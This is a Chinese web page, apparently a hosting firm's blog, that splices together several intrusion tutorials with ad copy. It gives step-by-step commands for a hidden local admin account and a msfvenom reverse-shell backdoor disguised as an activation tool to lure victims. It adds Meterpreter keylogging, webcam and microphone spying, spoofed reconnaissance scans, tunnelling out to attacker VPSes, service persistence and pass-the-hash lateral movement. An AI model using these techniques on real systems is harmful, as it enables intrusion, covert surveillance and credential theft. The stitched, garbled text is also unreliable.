重庆分公司,新征程启航
为企业提供网站建设、域名注册、服务器等服务
首先你要知道跟你同一个局域网的用户是否开启了防火墙或者禁止了同一局域网的共享和安全!如果对方禁用了共享,那你是进不去的,只有用歪门邪道进去了方法如下
创新互联专业为企业提供铜梁网站建设、铜梁做网站、铜梁网站设计、铜梁网站制作等企业网站建设、网页设计与制作、铜梁企业网站模板建站服务,10年铜梁做网站经验,不只是建网站,更提供有价值的思路和整体网络服务。
一、 在该机创建一个批处理文件,内容如下:
net user admin /add
net localgroup administrators admin /add
将上述的批处理文件保存为 admin.bat.
注:上述批处理文件作用是创建一个名为 admin 的管理员帐户(密码为空)。
二、将此批处理文件作为Windows 的开机启动脚本。
1、在 运行 对话框中输入 gpedit.msc
2、定位到 计算机配置一Windows设置一脚本 (启动/关机), 双击右边窗口的 启动,在其中添加先前创建的 admin.bat。
3、重新启动计算机(两次),系统便有了一个名为admin 的管理员
上述操作在Windows 2000/XP中可行,但要保证帐户可以访问注册表,组策略(创建帐户的操作实际上也就是在注册表中添加相应的项和值),而Windows中的缺省的Guest/受限帐户并无此限制。
或许,我们并不需要用Guest帐户去创建一个管理员,但设想如果某个程序只有管理员可执行,是否也就可用上述的方法来实现呢?
小结:Windows系统默认对Guest/受限帐户的限制只是表面上的,作为一个有经验的系统管理员,要做的事情还很多,起码应该禁止受限用户访问/修改注册表,组策略等。
前言
最近整理了一些 奇安信华为深信服大佬 的课件资料+大厂面试课题,想要的可以私信自取, 无偿赠送 给粉丝朋友~
msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.是用来生成后门的软件。
MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。
演示环境
使用Kali 2021.3进行演示操作
目标靶机: Win10专业版
软件:msfvenom、msfconsole(Kali系统内置)
1.进入管理员模式
命令: sudo su
解释: 不在管理员模式下运行可能会有权限不够的提示,为了避免命令执行失败,在管理员下运行以下命令
命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=本地ip LPORT=本地端口号 –f exe –o 文件名.exe
解释: 本地ip写自己Kali的IP地址,用ifconfig就能查看自己Kali的IP地址
本地端口自己随便设置一个没有被占用的端口号,如果端口号被占用那么文件会生成失败,换一个端口号就性
文件名可以随便写自己喜欢的名字,比如写Win10激活工具,可能更容易让目标主机上钩
当然MSF也可以用来渗透手机、mac、Linux等
接下来运行命令生成文件
默认生成的文件在根目录下
把刚才生成的文件放到目标靶机Win10系统中
命令: msfconsole
(1)命令: use exploit/multi/handler(选择模块)
(2)命令: set payload windows/meterpreter/reverse_tcp(选择攻击模块)
(3)命令: set LhOST 192.168.32.1(填写自己主机的IP地址)
(4)命令: set lport 1111(填写刚才生成文件时的端口号)
(5)命令: show options(查看设置参数)
(6)命令: exploit -z -j(后台执行)
我们这里也可以把这个程序伪装一下,把他的图标改一下,或者把它捆绑在某些软件上面,当用户打开就自动安装到对方电脑上面
(1)命令: sessions (查看上钩的用户)
(2)命令: sessions -i 1 (选择需要攻击的用户,这里选择第 1 个
命令: run vnc -i
cmd指令:
cat 读取文件内容到屏幕
cd 更改目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件(ls 的别名)
下载 下载文件或目录
编辑 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 创建目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或目录
pkill 按名称终止进程
keyscan_start 开始捕获击键(开始键盘记录)
keyscan_dump 转储按键缓冲(下载键盘记录)
keyscan_stop 停止捕获击键(停止键盘记录)
record_mic X秒从默认的麦克风record_mic音频记录(音频录制)
webcam_chat 开始视频聊天(视频,对方会有弹窗)
webcam_list 单摄像头(查看摄像头列表)
webcam_snap 采取快照从指定的摄像头(摄像头拍摄一张照片)
webcam_stream 播放视频流从指定的摄像头(开启摄像头监控)
enumdesktops 列出所有可访问的桌面和窗口站(窗体列表)
getdesktop 得到当前的Meterpreter桌面
reboot 重新启动远程计算机
shutdown 关闭远程计算机
shell 放入系统命令 shell
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的屏幕截图
setdesktop 更改 Meterpreters 当前桌面
uictl 控制一些用户界面组件
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 播放来自指定网络摄像头的视频流
play 在目标系统上播放波形音频文件 (.wav)
getsystem 尝试将您的权限提升到本地系统的权限
execute -f notepad 打开记事本
————————————————
原文链接:
利用TTL起始值判断操作系统,不同类型的操作系统都有默认的TTL值(简陋扫描,仅作参考)
TTL起始值:Windows xp(及在此版本之前的windows) 128 (广域网中TTL为65-128)
Linux/Unix64(广域网中TTL为1-64)
某些Unix:255
网关:255
使用python脚本进行TTL其实质判断
使用nmap识别操作系统:nmap -O 192.168.45.129 #参数-O表示扫描操作系统信息,nmap基于签名,指纹,特征,CPE编号等方法去判断目标系统的信息
CPE:国际标准化组织,制定了一套标准,将各种设备,操作系统等进行CPE编号,通过编号可以查询到目标系统
使用xprobe2进行操作系统识别,专门用来识别目标操作系统:xprobe2 192.168.45.129,但结果并不是很精确
被动操作系统识别:不主动向目标主机发数据包,基于网络监听原理
通过抓包分析,被动扫描,使用kali中的p0f工具进行网络监听
p0f:p0f是一种被动指纹识别工具,可以识别您连接的机器,连接到您的盒子的机器,甚至连接在盒子附近的机器,即使该设备位于数据包防火墙后面。
p0f的使用:只要接收到数据包就可以根据数据包判断其信息,首先输入p0f,然后在浏览器里面输入目标系统的网址,便会获得目标系统的信息
或者使用p0f结合ARP地址欺骗识别全网OS
snmp扫描:简单网络管理协议,明文传输,使用网络嗅探也可获取到信息
SNMP是英文"Simple Network Management Protocol"的缩写,中文意思是"简单网络管理协议"。SNMP是一种简单网络管理协议,它属于TCP/IP五层协议中的应用层协议,用于网络管理的协议。SNMP主要用于网络设备的管理。由于SNMP协议简单可靠 ,受到了众多厂商的欢迎,成为了目前最为广泛的网管协议。
snmp的基本思想是为不同种类、不同厂家、不同型号的设备定义一个统一的接口和协议,使管理员可以通过统一的外观面对这些需要管理的网管设备进行管理,提高网管管理的效率,简化网络管理员的工作。snmp设计在TCP/IP协议族上,基于TCP/IP协议工作,对网络中支持snmp协议的设备进行管理。
在具体实现上,SNMP为管理员提供了一个网管平台(NMS),又称为管理站,负责网管命令的发出、数据存储、及数据分析。被监管的设备上运行一个SNMP代理(Agent)),代理实现设备与管理站的SNMP通信。如下图
管理站与代理端通过MIB进行接口统一,MIB定义了设备中的被管理对象。管理站和代理都实现了相应的MIB对象,使得双方可以识别对方的数据,实现通信。管理站向代理申请MIB中定义的数据,代理识别后,将管理设备提供的相关状态或参数等数据转换为MIB定义的格式,应答给管理站,完成一次管理操作。
已有的设备,只要新加一个SNMP模块就可以实现网络支持。旧的带扩展槽的设备,只要插入SNMP模块插卡即可支持网络管理。网络上的许多设备,路由器、交换机等,都可以通过添加一个SNMP网管模块而增加网管功能。服务器可以通过运行一个网管进程实现。其他服务级的产品也可以通过网管模块实现网络管理,如Oracle、WebLogic都有SNMP进程,运行后就可以通过管理站对这些系统级服务进行管理。
使用UDP161端口(服务端),162端口(客户端),可以监控网络交换机,防火墙,服务器等设备
可以查看到很多的信息,但经常会被错误配置,snmp里面
有一些默认的Community,分别是Public/private/manager
如果目标的community是public,那么就可以发送SNMP的查询指令,对IP地址进行查询
在kali中存在对snmp扫描的工具,为onesixtyone
在Windows XP系统安装SNMP协议:
1,在运行框输入appwiz.cpl
2,找到管理和监控工具,双击
3,两个都勾选,然后点OK
使用onesixtyone对目标系统进行查询:命令为:onesixtyone 192.168.45.132 public
onesixtyone -c 字典文件 -I 主机 -o 倒入到的文件 -w 100
onesixtyone默认的字典在:/usr/share/doc/onesixtyone/dict.txt
使用snmpwalk查找目标系统的SNMP信息:snmpwalk 192.168.45.129 -c public -b 2c
snmpcheck -t 192.168.45.129
snmpcheck -t 192.168.45.129 -w 参数-w检测是不是有可写权限
SMB协议扫描:server message block,微软历史上出现安全问题最多的协议,在Windows系统上默认开发,实现文件共享
在Windows系统下管理员的Sid=500,
SMB扫描:nmap -v -p 139,445 192.168.45.132 --open 参数-v表示显示详细信息,参数--open表示显示打开的端口
nmap 192.168.45.132 -p 139,445 --script=smb-os-discovery.nse
smb-os-discovery.nse:这个脚本会基于SMB协议去判别操作系统,主机名,域名,工作组和当前的时间
nmap -v -P 139,445 --script=smb-check-vulns --script-args=unsafe=1 192.168.45.132
脚本smb-check-vulns:检查已知的SMB重大的漏洞
后面给脚本定义参数 --script-args=unsafe=1,unsafe可能会对系统有伤害,导致宕机,但要比safe准确
nbtscan -r 192.168.45.0/24参数-r使用本地137端口进行扫描,兼容性较好,可以扫描一些老版本的Windows
nbtscan可以扫描同一局域网不同的网段,对于局域网扫描大有裨益
enum4linux -a 192.168.45.132 :
SMTP扫描:目的在于发现目标系统的邮件账号
使用nc -nv 192.168.45.132 25
VRFY root :确定是不是有root用户
nmap扫描SMTP服务:
nmap smtp.163.com -p25 --script=smtp-enum-users.nse --script-args=smtp-enum-
users.methods={VRFY}
脚本smtp-enum-users.nse用于发现远程系统上所有user的账户
nmap smtp.163.com -p25 --script=smtp-open-relay.nse,如果邮件服务器打开了open-relay功能,那么黑客可以拿管理员的邮箱去发送钓鱼邮件
防火墙识别:通过检查回包,可能识别端口是否经过防火墙过滤
设备多种多样,结果存在一定的误差
第一种情况:攻击机向防火墙发送SYN数据包,防火墙没有给攻击机回复,攻击机再发送ACK数据包,若防火墙返回RST数据包,那么证明该端口被防火墙过滤
第二种类似
第三种:攻击机向防火墙发送SYN数据包,防火墙返回SYN+ACK或者SYN+RST数据包,攻击者再发送ACK数据包,若防火墙返回RST数据包,那么就可以证明防火墙对于该端口没被过滤.unfiltered=open
第四种情况类似,证明该端口是关闭的,或者防火墙不允许其他用户访问该端口
使用python脚本去判定:
使用nmap去进行防火墙识别:nmap有系列防火墙过滤检测功能
nmap -sA 192.168.45.129 -p 22 参数-sA表示向目标主机发送ACK数据包,参数-sS表示向目标发送SYN数据包,通过抓包分析收到的数据包判断是否有防火墙检测功能
负载均衡识别:负载均衡可以跟为广域网负载均衡和服务器负载均衡
在kali中使用lbd命令用于识别负载均衡机制
格式:lbd +域名/IP地址,如lbd
WAF识别:WEB应用防火墙,在kali中最常用的waf检测扫描器
输入:wafw00f -l:可以检测出这个工具可以检测到的waf类别
探测微软公司的WAF:wafw00f
使用nmap中的脚本去扫描目标网站使用的waf信息:nmap --script=http-waf-detect.nse
脚本详情:
nmap补充:
参数:-iL:把IP地址做成文件,使用该参数扫描这个文件里面的IP! nmap -iL ip.txt
-iR:随机选取目标进行扫描,后面跟需要扫描的主机个数,例:nmap -iR 20 -p 22:随机扫描20个主机的22号端口,默认发送SYN数据包
参数-sn表示不做端口扫描
参数-Pn表示跳过主机发现,扫描所有在线的主机,扫防火墙帮助很大
参数p0表示进行IP协议ping
参数-n/-R表示不进行DNS解析
参数--dns-servers表示指定一个DNS服务器去解析
参数--traceroute表示进行路由追踪
参数-sM表示发送ACK+FIN
参数-sF发送FIN数据包
参数-sV根据特征库匹配开放的服务,加上参数--version-intensity 后面加等级,0最小,9最完善
参数--script=脚本名
参数--script=arge.脚本.脚本名
参数--script-updatedb更新脚本
参数--script-help=脚本名 查看脚本的信息
参数-O检测操作系统类型
参数--scan-delay 表示每次探测间隔多长时间,后面个时间,如nmap 192.168.45.132 --scan-delay 10s :间隔十秒
参数-f表示设置MTU最大传输单元
参数-D表示伪造源地址,增加一些虚假的扫描IP,例:nmap -D 192.138.1.1,192.151.141.4 172.16.45.1 :扫描172.16.45.1主机,用这两个地址做干扰,防止被发现
参数-S表示伪造源地址,但要获取得到的IP地址,那么就得登陆到伪造的IP上
参数--proxies指定代理服务器
参数--spoof-mac欺骗mac地址 nmap 10.1.1.1 --spoof-mac=00:11:22:33:44:55
参数-6表示扫描IPv6
最近参与内网渗透比较多,认知到自己在会话维持上过于依赖web服务,web服务一旦关闭,便失去了唯一的入口点。
本次以远程桌面连接来进行说明,介绍几种常用的连接方式。
本次目标主机ip为:172.16.86.153
使用条件:服务器通外网,拥有自己的公网ip
msf是我进行内网渗透中用的最多的工具,它内置了很多强大的功能,用起来相当方便。
msf的meterpreter内置了端口转发功能,可以把内网的端口转发到本地。
转发目标主机的3389远程桌面服务端口到本地的8888,使用linux中的rdesktop连接本地的8888端口。
msf内置了socks模块,在session但基础上配置路由,调用即可使用,但是速度和稳定性都很差,不做详细介绍。
使用条件:服务器通外网,拥有自己的公网ip
lcx是一个经典的端口转发工具,直接把3389转发到公网的vps上。
通过大马上传lcx.exe,执行系统命令,其中1.1.1.1是vps的公网ip。
因为我公网vps使用的是linux的系统,lcx对应linux的工具为portmap 。
p1为监听的端口,p2为转发到的端口。
成功监听到转发出的3389端口。
直接使用远程桌面服务连接1.1.1.1:33889
基于web服务的socks5隧道的优点是,在内网服务器不通外网的情况下也能正常使用。
常用的工具有:reGeorg,reDuh,Tunna和Proxifier。
本次只介绍reGeorg的具体用法。
选择对应脚本的tunnel上传到服务器。
访问上传文件,显示如下表示成功。
打开Proxifier,更改为脚本指定的端口。
本地电脑成功通过socks5带进了目标主机的内网。(若失败,可能是某些防护检测到了异常流量,可采用reDuh)
本地电脑直接远程连接目标主机的内网ip。
使用条件:目标主机通外网,拥有自己的公网ip
选择对应主机操作系统的执行文件。
目标主机为windows系统,选择上传ew_for_Win.exe文件。
公网vps使用ew_for_linux64文件。
首先在公网vps上执行:
-l为Proxifier连接的端口,-e为目标主机和vps的通信端口。
然后在目标主机中执行:
socks5隧道建立成功,成功把自己的主机带进目标内网。
使用Proxifier,配置ip和连接端口。
连接远程桌面成功。
传送门
使用条件:目标主机通外网,拥有自己的公网ip
首先需要在公网服务器搭建服务端,搭建方法参考: 传送门
要注意的是,客户端和服务端的版本号要一致,否则无法正常使用。
对frpc.ini进行配置,为了保证搭建的隧道不对他人恶意利用,加入账户密码进行验证。
上传frpc.exe和frpc.ini到目标服务器上,直接运行frpc.exe(在实战中可能会提示找不到配置文件,需要使用-c参数指定配置文件的路径frpc.exe -c 文件路径)
公网vps主机上运行frps。
隧道建立成功,连接远程桌面。
类似的工具还有:sSocks,Termite等,不需要每种都掌握,有自己用的顺手的就行。
一般在网站服务的web服务关闭后,服务器重启后,大部门后门都会失效,这时需要用到系统服务封装工具。
以NSSM来进行示例,封装frpc为系统服务,建立持久的socks5隧道。
启动nssm图形化界面。
选择想要组册服务的exe应用。
设置服务的名字。直接点击install service,如下表示注册服务成功。
状态设置为启动,重启电脑进行测试,重启后frpc.exe自动运行,成功和frps连接。
本次列举了一些常用的工具,还有很多工具没有列举到,
功能原理都是大同小异,有那么几个用的顺手就好。
在上一章总结了windows抓取hash的一些方式。在实际场景中,我们需要更快的扩大战果,获取更多控制权限,以及定位域环境。
横向渗透:就是在得到一台主机的控制权限后,将该主机作为突破口、跳板,利用既有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个内网、拥有最高权限。
Pass The Hash 哈希传递简称PTH,可以在不需要明文密码的情况下,利用LM HASH和NTLM HASH直接远程登录。攻击者不需要花费时间来对hash进行爆破,在内网渗透里非常经典。
常常适用于域/工作组环境。
靶机:windows server 2008
IP:10.211.55.19
domain:workgroup
user:administrator
pass:cseroad@2008
NTLM-Hash:82c58d8cec50de01fd109613369c158e
psexec类工具大同小异,大部分工具都是通过psexec来执行的。原理是: 通过ipc$连接,将psexesvc.exe释放到目标机器,再通过服务管理SCManager远程创建psexecsvc服务,并启动服务。然后通过psexec服务运行命令,运行结束后删除该服务。
如:Metasploit psexec,Impacket psexec,pth-winexe,Empire Invoke-Psexec
缺点:容易被杀软检测到
优点:可以直接获取system权限
因为市面工具比较多,只kali就自带有很多。所以这里以好用、批量为准则选择了几款工具。
mimikatz中pth功能的原理:
windows会在lsass中缓存hash值,并使用它们来ntlm认证,我们在lsass中添加包含目标账号hash的合法数据结构,就可以使用类似dir这些命令进行认证。
正常访问server 2008 的盘符是需要用户名密码的。
在windows7上经过pth之后就不需要密码就可以远程连接。
将获取的hash添加进lsass中。
在windows 7 上执行以下命令:
执行后会弹出cmd。在cmd下执行 net use \\10.211.55.19\c$ 命令就可以远程连接。
扩展:
假如我们继续探测到10.211.55.8使用的是同一个hash值。我们尝试使用远程共享c盘和schtasks 定时计划任务执行获取一个session。
powershell.bat为
当重启10.211.55.8机器后,metasploit可得到session
笔者经常使用时的是这三个模块
以exploit/windows/smb/psexec模块为例
值得一说的是smbpass配置项支持明文密码也支持hash(LM-Hash:NTLM-Hash)
成功返回system权限。
CobalStrike 同样有psexec选项。
在得到一个beacon的基础上,先在该网段portscan,探测存活主机后。
选择View--Target--Login--psexec,可批量选择主机pth。
选择pth的用户名和hash值。
从执行的命令看得出依然利用的mimikatz。执行成功后返回system权限。
该工具可以对C段主机批量pth。
项目在 github
在kali上直接apt就可以安装
对工作组批量pth命令如下
测试的时候发现某些命令执行后没有回显。
更多资料参考:
CrackMapExec:域环境渗透中的瑞士军刀
红队测试工具-CrackMapExec-远程执行Windows命令
wmi内置在windows操作系统,用于管理本地或远程的 Windows 系统。wmiexec是对windows自带的wmic做了一些强化。攻击者使用wmiexec来进行攻击时,不会记录日志,不会写入到磁盘,具有极高的隐蔽性。
安装成功后,切换到examples目录下
运行命令为
先加载Invoke-WMIExec.ps1脚本,再加载Invoke-TheHash.ps1脚本,因为Invoke-TheHash 里要用到 Invoke-WMIExec方法
如果要执行系统命令。可以加-Command 参数
执行后该进程会在后台运行,可以结合定时任务执行尝试反弹shell。
在测试中发现,在打了kb2871997 这个补丁后,常规的Pass The Hash已经无法成功,但默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。
以上所有操作均针对的SID 500。
内网渗透之PTHPTTPTK
横向移动
丢掉PSEXEC来横向渗透
很多朋友对使用Metasploit利用后门程序进行渗透windows7都比较感兴趣,针对这些以下业内相关专家就给大家介绍下,当下黑客怎么利用Metasploit进行渗透windows7的。设定目标主机为:cn_win7_x86_7601虚拟机,地址为:192.168.0.116;而本地主机就为:192.168.0.149。方法步骤一:黑客用Msfpayload直接生成相关的后门程序,如下图。sfpayloadwindows/meterpreter/reverse_tcpLHOST=192.168.0.149xsteup.exe方法步骤二:黑客直接就能进入所在的目录并将属性进行修改,换为允许以程序执行文件,详细如下图。进入所在目录,修改属性:选择“允许以程序执行文件”,这时候也可以做一些免杀方法步骤三:接着黑客就打开msfconsole并加载exploit/multi/handler模块并进行设置本地主机,最后就能开始进行监听了,详细情况如下图。打开msfconsole,加载exploit/multi/handler模块,设置本地主机;然后开始监听:exploit-z-j:方法步骤四:黑客需要能将程序直接拷贝都目标主机中并进行执行。方法步骤五:以上步骤全部完成后黑客就能通过后门程序反向连接到msf,用msf就能发起第2次的攻击然后使用客户端也就是后门程序就能连接都服务端msf,详细的如下图。Meterpreter就是metasploit框架中的一个扩展模块,因此的话溢出成功后黑客就能攻击载荷进行使用,一旦攻击载荷在溢出攻击成功后就能再返回一个控制通道,这样就能将它作为攻击载荷成功获得目标系统的一个meterpretershell的链接。另外,附meterpreter常用命令:getsystem#会自动利用各种各样的系统漏洞来进行权限提升migrate#进程id进程迁移background#把当前的会话设置为背景,需要的时候在启用getuid#查看对方正在运行的用户ps#列出所有的进程getpid#返回运行meterpreter的id号sysinfo#产看系统信息和体系结构shell#切换到cmd的系统权限方式exit#退出shell会话返回meterpreter或终止meterpretergetdesktop截取目标主机当前桌面会话窗口runwebcam-p/var/www#在/var/www目录监控目标主机的摄像头keylog_recorder#使用migrate将会话迁移至explorer.exe的进程空间后记录键盘